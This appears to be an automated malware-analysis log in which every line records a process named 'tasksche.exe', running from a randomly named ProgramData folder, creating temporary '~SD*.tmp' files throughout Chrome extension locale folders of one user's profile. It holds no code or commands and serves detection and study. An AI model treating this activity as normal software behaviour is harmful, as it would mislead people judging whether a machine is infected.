Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\pt_PT\~SD9564.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\ro\~SD9565.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\ru\~SD9576.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\sk\~SD9577.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\sl\~SD9578.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\sr\~SD9579.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\sv\~SD957A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\th\~SD958A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\tr\~SD958B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\uk\~SD958C.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\vi\~SD958D.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\zh_CN\~SD958E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\zh_TW\~SD959F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_metadata\~SD95A0.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\~SD95A1.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\~SD95A2.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\~SD95A3.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ar\~SD95A4.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\bg\~SD95A5.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ca\~SD95B6.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\cs\~SD95B7.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\da\~SD95B8.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\de\~SD95B9.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\el\~SD95BA.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\en\~SD95BB.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\es\~SD95BC.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\fi\~SD95CC.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\fil\~SD95CD.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\fr\~SD95CE.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\he\~SD95CF.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\hi\~SD95E0.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\hr\~SD95E1.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\hu\~SD95E2.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\id\~SD95E3.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\it\~SD95E4.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ja\~SD95F5.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ko\~SD95F6.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\lt\~SD95F7.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\lv\~SD9607.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\nl\~SD9608.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\no\~SD9609.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\pl\~SD960A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\pt_BR\~SD960B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\pt_PT\~SD960C.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ro\~SD961D.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ru\~SD961E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\sk\~SD961F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\sl\~SD9620.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\sr\~SD9621.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\sv\~SD9622.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\th\~SD9623.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\tr\~SD9633.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\uk\~SD9634.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\vi\~SD9635.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\zh_CN\~SD9636.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\zh_TW\~SD9637.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_metadata\~SD9638.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\~SD9639.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\~SD964A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\~SD964B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ar\~SD964C.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\bg\~SD964D.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ca\~SD964E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\cs\~SD965F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\da\~SD9660.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\de\~SD9661.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\el\~SD9662.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en\~SD9663.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en_GB\~SD9664.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en_US\~SD9674.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\es\~SD9675.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\es_419\~SD9676.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\et\~SD9677.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fi\~SD9678.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fil\~SD9679.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fr\~SD968A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\he\~SD968B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hi\~SD968C.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hr\~SD968D.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hu\~SD968E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\id\~SD968F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\it\~SD9690.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ja\~SD96A1.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ko\~SD96A2.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\lt\~SD96A3.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\lv\~SD96A4.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\nl\~SD96A5.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\no\~SD96A6.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pl\~SD96B6.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pt_BR\~SD96B7.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pt_PT\~SD96B8.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ro\~SD96B9.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ru\~SD96BA.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sk\~SD96BB.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sl\~SD96BC.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sr\~SD96CD.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sv\~SD96ED.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\th\~SD96FE.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\tr\~SD96FF.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\uk\~SD9700.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\vi\~SD9701.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\zh_CN\~SD9702.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\zh_TW\~SD9712.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\~SD9713.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\~SD9714.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\~SD9715.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\af\~SD9716.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\am\~SD9727.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ar\~SD9728.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\az\~SD9729.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\bg\~SD972A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\bn\~SD972B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\ca\~SD973C.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\cs\~SD973D.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\da\~SD973E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\de\~SD973F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\el\~SD974F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\en_GB\~SD9750.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\en_US\~SD9751.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\es\~SD9752.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.4_0\_locales\es_419\~SD9763.tmp
